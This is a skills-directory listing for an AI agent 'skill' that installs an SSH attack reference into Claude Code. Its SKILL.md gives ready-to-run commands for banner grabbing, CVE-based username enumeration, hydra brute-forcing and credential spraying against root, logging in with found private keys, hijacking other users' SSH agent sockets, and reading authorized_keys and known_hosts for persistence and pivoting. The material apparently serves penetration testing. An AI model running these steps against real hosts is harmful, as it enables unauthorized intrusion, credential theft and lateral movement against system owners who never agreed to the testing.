Skip to content
Back to skills

Ssh

BSecurity

SSH attack techniques — version CVEs, auth-method/user enumeration, key issues, targeted brute. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, user-enum CVE-2018-15473, authorized_keys, weak/leaked key.

  • 773 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added August 31, 2026
ai-agentsbash

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned August 31, 2026

npx -y skills add s0ld13rr/pentestcode --skill ssh --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ssh?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ssh
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/s0ld13rr-ssh/badge)](https://www.skillsdirectory.com/skills/s0ld13rr-ssh)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: svc-ssh
description: SSH attack techniques — version CVEs, auth-method/user enumeration, key issues, targeted brute. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, user-enum CVE-2018-15473, authorized_keys, weak/leaked key.
---

# SSH Attack Reference

## Version-Specific CVEs
- **OpenSSH <7.7** (CVE-2018-15473): Username enumeration via timing
- **OpenSSH 8.5-9.7** (CVE-2024-6387 / regreSSHion): Race condition → unauthenticated RCE (glibc-based Linux)
- **OpenSSH <6.6**: Various auth bypass and info disclosure

## Enumeration
```bash
# Banner grab
nc -nv <target> 22
nmap -sV -p 22 <target>

# Username enumeration (CVE-2018-15473)
ssh-audit <target>
# Or use msf: auxiliary/scanner/ssh/ssh_enumusers

# Auth methods
ssh -o PreferredAuthentications=none -o PubkeyAuthentication=no <target> 2>&1
nmap --script ssh-auth-methods -p 22 <target>
```

## Credential Attacks
```bash
# Hydra brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4 -f

# Common credentials
hydra -L users.txt -p admin ssh://<target> -t 4
hydra -l root -p toor ssh://<target>

# Spray found credentials
crackmapexec ssh <target> -u users.txt -p passwords.txt --no-bruteforce
```

## Key-Based Attacks
```bash
# Check for weak/default keys
nmap --script ssh-hostkey --script-args ssh_hostkey=full -p 22 <target>

# If you find private keys
chmod 600 found_key
ssh -i found_key <user>@<target>

# SSH agent forwarding hijack (if you have user access)
# Look for SSH_AUTH_SOCK in other users' environments
find /tmp -name "agent.*" 2>/dev/null
```

## Post-Auth
```bash
# Check authorized_keys for persistence
cat ~/.ssh/authorized_keys
# SSH config for pivot targets
cat ~/.ssh/config
cat ~/.ssh/known_hosts
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.